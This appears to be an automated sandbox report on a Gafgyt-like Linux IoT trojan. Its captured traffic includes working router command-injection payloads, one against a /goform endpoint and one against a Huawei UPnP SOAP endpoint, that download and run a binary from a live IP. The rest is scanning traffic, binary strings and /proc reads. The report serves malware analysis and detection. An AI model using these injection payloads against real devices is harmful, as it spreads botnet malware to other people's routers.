Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 493Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 20 2d 6c 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 2d 72 20 2f 68 75 68 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 3b 20 2f 74 6d 70 2f 6c 69 6e 75 78 78 78 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;
Source: global traffic	HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf mpsl;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf mpsl;

Source: unknown	TCP traffic detected without corresponding DNS query: 41.64.191.36
Source: unknown	TCP traffic detected without corresponding DNS query: 157.148.228.103
Source: unknown	TCP traffic detected without corresponding DNS query: 41.246.91.26
Source: unknown	TCP traffic detected without corresponding DNS query: 41.134.174.26
Source: unknown	TCP traffic detected without corresponding DNS query: 41.101.180.101
Source: unknown	TCP traffic detected without corresponding DNS query: 89.161.94.99
Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.133.253
Source: unknown	TCP traffic detected without corresponding DNS query: 105.125.30.153
Source: unknown	TCP traffic detected without corresponding DNS query: 93.32.62.213
Source: unknown	TCP traffic detected without corresponding DNS query: 197.184.183.244
Source: unknown	TCP traffic detected without corresponding DNS query: 217.97.107.112
Source: unknown	TCP traffic detected without corresponding DNS query: 157.240.130.139
Source: unknown	TCP traffic detected without corresponding DNS query: 157.115.235.107
Source: unknown	TCP traffic detected without corresponding DNS query: 157.9.35.206
Source: unknown	TCP traffic detected without corresponding DNS query: 41.255.93.150
Source: unknown	TCP traffic detected without corresponding DNS query: 197.64.133.69
Source: unknown	TCP traffic detected without corresponding DNS query: 197.204.253.40
Source: unknown	TCP traffic detected without corresponding DNS query: 157.20.145.229
Source: unknown	TCP traffic detected without corresponding DNS query: 41.106.121.9
Source: unknown	TCP traffic detected without corresponding DNS query: 157.59.245.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.52.220.197
Source: unknown	TCP traffic detected without corresponding DNS query: 157.26.240.1
Source: unknown	TCP traffic detected without corresponding DNS query: 157.29.146.166
Source: unknown	TCP traffic detected without corresponding DNS query: 41.161.192.133
Source: unknown	TCP traffic detected without corresponding DNS query: 197.98.101.5
Source: unknown	TCP traffic detected without corresponding DNS query: 157.73.66.181
Source: unknown	TCP traffic detected without corresponding DNS query: 200.226.170.4
Source: unknown	TCP traffic detected without corresponding DNS query: 157.5.20.230
Source: unknown	TCP traffic detected without corresponding DNS query: 65.224.102.144
Source: unknown	TCP traffic detected without corresponding DNS query: 41.109.78.172
Source: unknown	TCP traffic detected without corresponding DNS query: 157.37.157.196
Source: unknown	TCP traffic detected without corresponding DNS query: 157.88.101.185
Source: unknown	TCP traffic detected without corresponding DNS query: 213.169.131.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.22.8.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.34.214
Source: unknown	TCP traffic detected without corresponding DNS query: 157.81.105.54
Source: unknown	TCP traffic detected without corresponding DNS query: 208.203.185.160
Source: unknown	TCP traffic detected without corresponding DNS query: 197.25.224.207
Source: unknown	TCP traffic detected without corresponding DNS query: 157.242.201.82
Source: unknown	TCP traffic detected without corresponding DNS query: 157.88.230.113
Source: unknown	TCP traffic detected without corresponding DNS query: 41.132.19.251
Source: unknown	TCP traffic detected without corresponding DNS query: 197.162.126.107
Source: unknown	TCP traffic detected without corresponding DNS query: 197.53.204.27
Source: unknown	TCP traffic detected without corresponding DNS query: 153.124.129.253
Source: unknown	TCP traffic detected without corresponding DNS query: 157.6.235.8
Source: unknown	TCP traffic detected without corresponding DNS query: 41.43.54.23
Source: unknown	TCP traffic detected without corresponding DNS query: 157.61.85.160
Source: unknown	TCP traffic detected without corresponding DNS query: 36.183.200.131
Source: unknown	TCP traffic detected without corresponding DNS query: 41.4.80.16
Source: unknown	TCP traffic detected without corresponding DNS query: 41.165.238.228

Source: unknown

DNS traffic detected: queries for: bngoc.skyljne.click

Source: unknown

HTTP traffic detected: POST /goform/set_LimitClient_cfg HTTP/1.1Cookie: user=adminData Raw: 74 69 6d 65 31 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 74 69 6d 65 32 3d 30 30 3a 30 30 2d 30 30 3a 30 30 26 6d 61 63 3d 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 33 2e 32 34 35 2e 32 33 36 2e 31 35 36 2f 68 75 68 75 2e 6d 70 73 6c 3b 20 63 68 6d 6f 64 20 37 37 37 20 68 75 68 75 2e 6d 70 73 6c 3b 20 2e 2f 68 75 68 75 2e 6d 70 73 6c 20 6c 62 6c 69 6e 6b 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2a 6d 70 73 6c 2a 3b 0d 0a 0d 0a Data Ascii: time1=00:00-00:00&time2=00:00-00:00&mac=;rm -rf *mpsl*;wget http://103.245.236.156/huhu.mpsl; chmod 777 huhu.mpsl; ./huhu.mpsl lblink.selfrep;rm -rf *mpsl*;

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundSurrogate-Control: no-storeCache-Control: no-store, no-cache, must-revalidate, proxy-revalidatePragma: no-cacheExpires: 0Content-Type: text/plain; charset=utf-8Content-Length: 9Vary: Accept-EncodingDate: Thu, 29 Feb 2024 09:21:29 GMTConnection: keep-aliveKeep-Alive: timeout=5Data Raw: 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: Not Found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/plainContent-Length: 30Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Thu, 29 Feb 2024 10:22:07 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 29 Feb 2024 03:22:30 GMTServer: WebsX-Frame-Options: SAMEORIGINCache-Control: no-cacheContent-Length: 166Content-Type: text/htmlConnection: keep-aliveKeep-Alive: timeout=60, max=99Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 55 52 4c 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open URL</p></body></html>

Source: huhu.arm5.elf	String found in binary or memory: http://103.245.236.156/huhu.mpsl;
Source: huhu.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: huhu.arm5.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: huhu.arm5.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5498.1.00007f18e0017000.00007f18e0035000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: huhu.arm5.elf PID: 5498, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox/
Source: Initial sample	String containing 'busybox' found: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKskyljneegay.armskyljneegay.arm5skyljneegay.arm6skyljneegay.arm7skyljneegay.mipsskyljneegay.mpslskyljneegay.x86_64skyljneegay.sh4<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(rm -rf /tmp/linuxxx; /bin/busybox wget -g 103.245.236.156 -l /tmp/linuxxx -r /huhu.mips; /bin/busybox chmod 777 /tmp/linuxxx; /tmp/linuxxx selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc//proc/%s/exe/proc/self/exe/var/Challenge//app/hi3511/gmDVRibox/usr/dvr_main _8182T_1108/mnt/mtd/app/gui/var/Kylin/l0 c/udevd/anko-app/ankosample _8182T_1104/var/tmp/sonia/hicorestm_hi3511_dvr/bin/busybox//usr/lib/systemd/systemd//usr/libexec/openssh/sftp-server/usr/shellmnt/sys//bin/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davinci/telnetsshwatchdog/var/spool//var/Sofia/sshd/usr/compress/bin//compress/bin/compress/usr/bashtelnetddropbearropbearencodercundi/var/cundi//var/Condi/system/root/dvr_gui//root/dvr_app//var/tmp//anko-app//data/local/tmp//lib/systemd//usr/lib/systemd/system/system/bin//gm/bin//mnt//home/process//home/helper/home/davinci/z/bin//mnt/mtd//tmp/sqfs//usr/libexec//usr/sbin//z/zbin//usr/bin/usr/lib/openssh/sftp-server//opt/POST /goform/set_LimitClient_cfg HTTP/1.1
Source: Initial sample	String containing 'busybox' found: /proc/proc/%d/cmdlinerwgetcurlbusybox/bin/busyboxechocatnanotfpt

Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3760/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3761/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1583/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/2672/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3759/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/234/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1577/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3758/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1593/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/240/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3094/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/242/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3406/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/244/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1589/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/245/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/3402/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/247/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/248/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/249/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/801/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/806/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/huhu.arm5.elf (PID: 5503)	File opened: /proc/807/cmdline	Jump to behavior
